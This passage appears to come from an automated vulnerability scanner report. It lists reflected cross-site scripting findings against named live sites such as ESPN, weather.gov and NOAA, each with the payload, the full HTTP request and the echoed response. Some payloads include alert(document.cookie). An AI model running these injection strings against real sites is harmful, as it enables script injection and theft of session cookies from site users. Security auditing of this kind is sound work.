Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:18:58 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56582

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
<a rel="nofollow" href="/bloomfield-nm/shopping/musical-instruments/x2292fce"><script>alert(1)</script>de7cf7e6ed3?navs=39%2C394%2C135%2C80%2C832%2C618%2C0%2C0&nv1=Attractions">
...[SNIP]...

1.148. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload aa2f6"-alert(1)-"347f33fe799 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /bloomfield-nm/shopping/musical-instruments/x22?aa2f6"-alert(1)-"347f33fe799=1 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:16:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=732g8mos0bpq6idorsb2stopq5; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:16:51 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:16:52 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56249

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
;
});
$( "#slider" ).bind( "slidechange", function(event, ui) {
setRadius( $(this).slider( "option", "value" ) );
radiusUrl = "/bloomfield-nm/shopping/musical-instruments/x22?aa2f6"-alert(1)-"347f33fe799=1&radius=RADIUS";
radiusUrl = radiusUrl.replace( 'RADIUS', $(this).slider( "option", "value" ) );
window.location = radiusUrl;
});
$( "select.f-left" ).change(function () {

...[SNIP]...

1.149. http://qa.wimgo.com/bloomfield-nm/shopping/musical-instruments/x22 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://qa.wimgo.com
Path:   /bloomfield-nm/shopping/musical-instruments/x22

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 145d2"><script>alert(1)</script>dfc358508db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /bloomfield-nm/shopping/musical-instruments/x22?145d2"><script>alert(1)</script>dfc358508db=1 HTTP/1.1
Host: qa.wimgo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 02:16:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.3 ZendServer/5.0
Set-Cookie: PHPSESSID=kplke0fp6227hhtnkrqq4j5p27; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AcGJoYWdlbFBicXI9SEYmcGJoYWdlbEFuenI9SGF2Z3JxK0ZnbmdyZiZlcnR2YmE9R0smcHZnbD1Rbnl5bmYmY2JmZ255UGJxcj03NTIwNyZ5bmd2Z2hxcj0zMi43ODI1JnliYXR2Z2hxcj0tOTYuODIwNyZuZXJuUGJxcj0yMTQmcXpuUGJxcj02MjMmcGJoYWdlbFBicXIzPUhGTiZtdmM9NzUyMDcmZmduZ3I9R0s%3D; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3ANjQyOA%3D%3D; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _c=2483; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _cc=SnZ6dGJfWmJxcnlfWWJwbnlfUHZnbA%3D%3D%3AMjQ4Mw%3D%3D; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _g=anZ6dGJcaGd2eVxUcmI%3D%3AeW5ndmdocXI9MzYuNzEwNzIyJnliYXR2Z2hxcj0tMTA3Ljk4MjY2OCZwdmdsPU95YmJ6c3ZyeXEmZmduZ3I9QVo%3D; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Set-Cookie: _r=10; expires=Sat, 26-Feb-2011 03:16:36 GMT; path=/; domain=qa.wimgo.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 56723

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/sch
...[SNIP]...
<a rel="nofollow" href="/bloomfield-nm/shopping/musical-instruments/x22?145d2"><script>alert(1)</script>dfc358508db=1&navs=39%2C394%2C135%2C80%2C832%2C618%2C0%2C0&nv1=Attractions">
...[SNIP]...

1.150. https://r.espn.go.com/members/util/getUserInfo [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://r.espn.go.com
Path:   /members/util/getUserInfo

Issue detail

The value of the cb request parameter is copied into the HTML document as plain text between tags. The payload e042f<script>alert(1)</script>2f8618a1586 was submitted in the cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /members/util/getUserInfo?cb=runOmnitureIndependentlye042f<script>alert(1)</script>2f8618a1586 HTTP/1.1
Host: r.espn.go.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 108
Content-Type: text/html; charset=iso-8859-1
Server: barista/3.3.6
p3p: CP=CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE

runOmnitureIndependentlye042f<script>alert(1)</script>2f8618a1586(null, null, null, null, null, null, null);

1.151. http://radar.weather.gov/radar_lite.php [loop parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://radar.weather.gov
Path:   /radar_lite.php

Issue detail

The value of the loop request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bbf71"%20a%3db%20e62e3e0d62b was submitted in the loop parameter. This input was echoed as bbf71" a=b e62e3e0d62b in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /radar_lite.php?product=N0R&rid=GYX&loop=nobbf71"%20a%3db%20e62e3e0d62b HTTP/1.1
Host: radar.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Age: 0
Date: Sat, 26 Feb 2011 02:18:31 GMT
Content-Length: 14076
Content-Type: text/html; charset=UTF-8
Expires: Sat, 26 Feb 2011 02:28:31 GMT
Cache-Control: max-age=600
Server: Apache
Via: 1.1 hyacinth (NetCache NetApp/6.0.3), 1.0 c3.w3.woc (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head>
<title>National Weather Service radar from Portland, ME</title>
<meta nam
...[SNIP]...
<a class="navbar" href="radar.php?rid=gyx&overlays=11101111&product=N0R&loop=nobbf71" a=b e62e3e0d62b" title="Go to the Enhanced Version">
...[SNIP]...

1.152. http://radar.weather.gov/radar_lite.php [product parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://radar.weather.gov
Path:   /radar_lite.php

Issue detail

The value of the product request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b52b"%20a%3db%20b5abd972cb4 was submitted in the product parameter. This input was echoed as 3b52b\" a=b b5abd972cb4 in the application's response.

This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /radar_lite.php?product=N0R3b52b"%20a%3db%20b5abd972cb4&rid=GYX&loop=no HTTP/1.1
Host: radar.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Age: 0
X-Cache-TTL: 172800
Date: Sat, 26 Feb 2011 02:15:01 GMT
Content-Length: 14089
Content-Type: text/html; charset=iso-8859-1
Expires: Mon, 28 Feb 2011 02:15:01 GMT
Cache-Control: max-age=172800
Server: Apache
Vary: Accept-Encoding
X-Cached-Time: Sat, 26 Feb 2011 02:15:01 GMT
Via: 1.1 nws-hq-cache03 (NetCache NetApp/6.0.7), 1.0 c3.w3.woc (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en"><head>
<title>National Weather Service radar from Portland, ME</title>
<meta nam
...[SNIP]...
<a class="navbar" href="radar.php?rid=gyx&overlays=11101111&product=N0R3b52b\" a=b b5abd972cb4&loop=no" title="Go to the Enhanced Version">
...[SNIP]...

1.153. http://recreationalequipmen.tt.omtrdc.net/m2/recreationalequipmen/mbox/standard [mbox parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://recreationalequipmen.tt.omtrdc.net
Path:   /m2/recreationalequipmen/mbox/standard

Issue detail

The value of the mbox request parameter is copied into the HTML document as plain text between tags. The payload a34c8<script>alert(1)</script>edbd78759d0 was submitted in the mbox parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /m2/recreationalequipmen/mbox/standard?mboxHost=www.rei.com&mboxSession=1298667914619-871377&mboxPC=1298667914619-871377.17&mboxPage=1298667927682-403800&screenHeight=1200&screenWidth=1920&browserWidth=1437&browserHeight=954&browserTimeOffset=-360&colorDepth=16&mboxCount=1&mbox=recs_hpCustPicksa34c8<script>alert(1)</script>edbd78759d0&mboxId=0&mboxTime=1298646327740&mboxURL=http%3A%2F%2Fwww.rei.com%2F&mboxReferrer=&mboxVersion=39 HTTP/1.1
Host: recreationalequipmen.tt.omtrdc.net
Proxy-Connection: keep-alive
Referer: http://www.rei.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/javascript
Content-Length: 212
Date: Fri, 25 Feb 2011 21:06:33 GMT
Server: Test & Target

mboxFactories.get('default').get('recs_hpCustPicksa34c8<script>alert(1)</script>edbd78759d0',0).setOffer(new mboxOfferDefault()).loaded();mboxFactories.get('default').getPCId().forceId("1298667914619-871377.17");

1.154. http://recs.richrelevance.com/rrserver/p13n_generated.js [ctp parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://recs.richrelevance.com
Path:   /rrserver/p13n_generated.js

Issue detail

The value of the ctp request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2c3c1'%3balert(1)//3dbbc323ad9 was submitted in the ctp parameter. This input was echoed as 2c3c1';alert(1)//3dbbc323ad9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /rrserver/p13n_generated.js?a=5387d7af823640a7&ts=1298696265845&cis=%7C72384&p=1a6ddbd&re=True&cts=http%3A%2F%2Fwww5.jcpenney.com%2Fjcp%2F&pt=%7Censemble_page.content1&s=60f3720e7c71e45edb02b68f7b004135cxMnVNoVza3oxMnVNoVza3W200B181A7FD6BCDF0818AD551CB2274291EC1105704&ctp=%7C0%3AcmOrigId%25253D1a6ddbd%252526cmTypeFlag%25253DRichRel%252526cmCatID%25253Dhomepage%25257C723842c3c1'%3balert(1)//3dbbc323ad9&pref=http%3A%2F%2Fwww4.jcpenney.com%2Fjcp%2FXGN.aspx%3Fn%3D4294953363%26catsel%3D4294953363--comforters%2B%2B%2Bbedspreads%26deptid%3D70750%26pcatid%3D70750%26catid%3D72384%26cattyp%3DSAL%26dep%3DBEDDING%26pcat%3DBEDDING%26cat%3DSale%26refpagename%3DDefault%25252Easpx%26refdeptid%3D%26refcatid%3D%26cmAMS_T%3DT1%26cmAMS_C%3DC3%26CmCatId%3Dhomepage&l=1 HTTP/1.1
Host: recs.richrelevance.com
Proxy-Connection: keep-alive
Referer: http://www5.jcpenney.com/jcp/X6E.aspx?GrpTyp=ENS&ItemID=1a6ddbd&deptid=70750&dep=BEDDING&catid=72384&pcat=BEDDING&cat=Sale&NOffset=0&CatSel=4294953363%7ccomforters+%2b+bedspreads&pcatid=70750&Ne=4294957900+5+877+1014+1031+1007+6+8+904+18+833&N=4294953363&SO=0&cattyp=SAL&Nao=0&PSO=0&CmCatId=homepage|72384
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uc=8f0d715c-e29a-4f38-9373-184b98130248

Response

HTTP/1.1 200 OK
Server: nginx/0.8.53
Date: Sat, 26 Feb 2011 05:00:30 GMT
Content-Type: application/x-javascript;charset=UTF-8
Connection: keep-alive
P3p: policyref="http://recs.richrelevance.com/w3c/p3p.xml", CP="NOI DSP COR NID CUR OUR NOR"
Set-Cookie: vihc=b126.1298696430236.43015778%7C; Path=/
Set-Cookie: pvihc=b126.1298696430236.43015778%7C; Expires=Tue, 23-Feb-2021 05:00:30 GMT; Path=/
Vary: Accept-Encoding
Content-Length: 13433

var rr_recs={placements:[{used:false,placementType:'ensemble_page.content1',html:'<div class="rrOuterBox"> <div class="rrStrategyMessage" style="zoom: 1">Customers who viewed 400TC WrinkleGuard Bed
...[SNIP]...
818AD551CB2274291EC1105704&pg=615&p=1649c84&ct=http%3A%2F%2Fwww5.jcpenney.com%2Fjcp%2FX6E.aspx%3FGrptyp%3DENS%26ItemId%3D1649c84%26cmOrigId%3D1a6ddbd%26cmTypeFlag%3DRichRel%26cmCatID%3Dhomepage%7C723842c3c1';alert(1)//3dbbc323ad9\'">
...[SNIP]...

1.155. http://response.restoration.noaa.gov/orr_search.php [message parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /orr_search.php

Issue detail

The value of the message request parameter is copied into the HTML document as plain text between tags. The payload 702bd<script>alert(1)</script>df4883bec6d was submitted in the message parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20for.702bd<script>alert(1)</script>df4883bec6d HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:46:32 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16536

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

   <head>
       <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
       <meta name="generator" cont
...[SNIP]...
<strong>The page you requested was not found. Please use our search page to find what you were looking for.702bd<script>alert(1)</script>df4883bec6d</strong>
...[SNIP]...

1.156. http://response.restoration.noaa.gov/orr_search.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://response.restoration.noaa.gov
Path:   /orr_search.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 3c06b<script>alert(1)</script>96a6c1f2475 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /orr_search.php?message=The%20page%20you%20requested%20was%20not%20found.%20Please%20use%20our%20search%20page%20to%20find%20what%20you%20were%20looking%20/3c06b<script>alert(1)</script>96a6c1f2475for. HTTP/1.1
Host: response.restoration.noaa.gov
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=7bf40be4e7088c5b50a95bc456b809b0

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:46:52 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 16546

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html lang="en">

   <head>
       <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1">
       <meta name="generator" cont
...[SNIP]...
<strong>The page you requested was not found. Please use our search page to find what you were looking /3c06b<script>alert(1)</script>96a6c1f2475for.</strong>
...[SNIP]...

1.157. http://rtb0.doubleverify.com/rtb.ashx/verifyc [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://rtb0.doubleverify.com
Path:   /rtb.ashx/verifyc

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5975d<script>alert(1)</script>8e27cf83e0e was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /rtb.ashx/verifyc?ctx=741233&cmp=5027088&plc=56548503&sid=953349&num=1&ver=4&dv_url=http%3A//www.komonews.com/&callback=__verify_callback_2587954816405975d<script>alert(1)</script>8e27cf83e0e HTTP/1.1
Host: rtb0.doubleverify.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript; charset=utf-8
Server: Microsoft-IIS/7.0
Date: Wed, 23 Feb 2011 21:37:10 GMT
Content-Length: 74

__verify_callback_2587954816405975d<script>alert(1)</script>8e27cf83e0e(2)

1.158. http://search.4shared.com/css/common.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/common.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81082"-alert(1)-"fa1a66483cf was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css81082"-alert(1)-"fa1a66483cf/common.css HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /css81082&quot;-alert(1)-&quot;fa1a66483cf/common.css
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:02:11 GMT
Content-Length: 36953


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/css81082"-alert(1)-"fa1a66483cf/common.css";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {

...[SNIP]...

1.159. http://search.4shared.com/css/common.css [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/common.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2823d"-alert(1)-"5c1c5cba9a2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css/common.css2823d"-alert(1)-"5c1c5cba9a2 HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
Referer: http://search.4shared.com/search.html?ef9a6--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E310e4e7016=1
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=210074320.1297862350.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qca=P0-1133200866-1297862349616; df=""; afu=""; afp=""; adu=""; adp=""; ausk=""; dirPwdVerified=""; __utma=210074320.1172937508.1297862350.1297862350.1298497029.2; __utmc=210074320; WWW_JSESSIONID=C7856C4B2634F6688976E4775B33B16B.dc278; ppVisited=%2FsignUpBox.jsp%3Fdf%3D%27%2522--%253E%253C%2Fstyle%253E%253C%2Fscript%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253E%26login%3D3%26months%3D1%26password%3D3%26password2%3D3%26planSelect%3D1%26resetDirView%3D3; ppVisitDate=1298575915645; hostid=1510122214; search.view2=ls

Response

HTTP/1.1 404 /css/common.css2823d&quot;-alert(1)-&quot;5c1c5cba9a2
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Date: Sat, 26 Feb 2011 02:04:12 GMT
Content-Length: 36964


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<!--// ref:http://search.4shared.com/s
...[SNIP]...
<script type="text/javascript">
function reportAbuse() {
var windowname="abuse";
var url="/abuse.jsp?aLink=http://search.4shared.com/css/common.css2823d"-alert(1)-"5c1c5cba9a2";
OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50');
OpenWindow.focus();
}
function feedback() {
var wind
...[SNIP]...

1.160. http://search.4shared.com/css/main.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://search.4shared.com
Path:   /css/main.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 89bb8"-alert(1)-"0465f9b3ed8 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /css89bb8"-alert(1)-"0465f9b3ed8/main.css?ver=1610 HTTP/1.1
Host: search.4shared.com
Proxy-Connection: keep-alive
